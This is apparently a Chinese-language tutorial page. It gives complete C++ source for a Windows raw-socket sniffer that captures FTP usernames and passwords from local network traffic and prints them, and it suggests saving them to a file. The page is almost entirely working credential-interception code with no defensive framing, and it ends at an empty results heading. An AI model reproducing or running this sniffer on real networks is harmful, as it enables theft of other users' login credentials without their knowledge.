侦听局域网内密码

只需在前面的网络嗅探程序基础上，添加对搜索出的端口号进行的增加功能即可：

代码如下：

在DecodeIPPacket中添加：

switch(::ntohs(pTCPHdr->destinationPort))
            {
            case 21:
                {
                    GetFtp((char*)pTCPHdr+sizeof(TCPHeader),pIPHdr->ipDestination);
                }
                break;
            case 80:
            case 8080:
                break;
            }

void GetFtp(char *pData.DWORD dwDestIp)
{
    char szBuf[256];
    static char szUserName[21];
    static char szPassword[21];
    if(strnicmp(pData,"USER",5)==0)
    {
            sscanf(pData+4,"%*[]%s",szUserName);
    }
    else if(strnicmp(pData,"PASS",5)==0)
    {
        sscanf(pData+4,"%*[]%s",szPassword);
        wsprintf(szBuf,"Server Address:%s;User Name:%s;Password:%s;nn",::inet_ntoa(*(in_addr*)&dwDestIp),szUserName,szPassword);
        printf(szBuf);
    }

}

完整程序如下：

/////////////////////////////////////////////////
// PasswordMonitor.cpp文件

#include "../common/initsock.h"
#include "../common/protoinfo.h" 

#include <stdio.h>
#include <mstcpip.h>

#pragma comment(lib, "Advapi32.lib")

CInitSock theSock;



void GetFtp(char *pData, DWORD dwDestIp)
{
    char szBuf[256];
    static char szUserName[21];
    static char szPassword[21];

    if(strnicmp(pData, "USER ", 5) == 0)
    {
        sscanf(pData + 4, "%*[ ]%s", szUserName);    
    }
    else if(strnicmp(pData, "PASS ", 5) == 0)
    {
        sscanf(pData + 4, "%*[ ]%s", szPassword);

        wsprintf(szBuf, " Server Address: %s; User Name: %s; Password: %s; nn", 
                                ::inet_ntoa(*(in_addr*)&dwDestIp), szUserName, szPassword);

        printf(szBuf);    // 这里您可以将它保存到文件中
    }
}


void DecodeIPPacket(char *pData)
{
    IPHeader *pIPHdr = (IPHeader*)pData;


    int nHeaderLen = (pIPHdr->iphVerLen & 0xf) * sizeof(ULONG);

    switch(pIPHdr->ipProtocol)
    {
    case IPPROTO_TCP:
        {
            TCPHeader *pTCPHdr = (TCPHeader *)(pData + nHeaderLen);
            switch(::ntohs(pTCPHdr->destinationPort))
            {
            case 21:    // ftp协议
                {
                    GetFtp((char*)pTCPHdr + sizeof(TCPHeader), pIPHdr->ipDestination);
                }
                break;

            case 80:    // http协议...
            case 8080:
                
                break;
            }
        }
        break;
    case IPPROTO_UDP:
        break;
    case IPPROTO_ICMP:
        break; 
    }
}


void main()
{
    // 创建原始套节字
    SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);

    // 获取本地IP地址
    char szHostName[56];
    SOCKADDR_IN addr_in;
    struct  hostent *pHost;
    gethostname(szHostName, 56);
    if((pHost = gethostbyname((char*)szHostName)) == NULL)    
        return ;

    // 在调用ioctl之前，套节字必须绑定
    addr_in.sin_family  = AF_INET;
    addr_in.sin_port    = htons(0);
    memcpy(&addr_in.sin_addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length);

    printf(" Binding to interface : %s n", ::inet_ntoa(addr_in.sin_addr));
    if(bind(sRaw, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR)
        return;

    // 设置SIO_RCVALL控制代码，以便接收所有的IP包    
    DWORD dwValue = 1;
    if(ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)    
        return ;
    
    // 开始接收封包
    printf(" nn begin to monitor ftp password... nn");
    char buff[1024];
    int nRet;
    while(TRUE)
    {
        nRet = recv(sRaw, buff, 1024, 0);
        if(nRet > 0)
        {
            DecodeIPPacket(buff);
        }
    }
    closesocket(sRaw);
}

执行结果：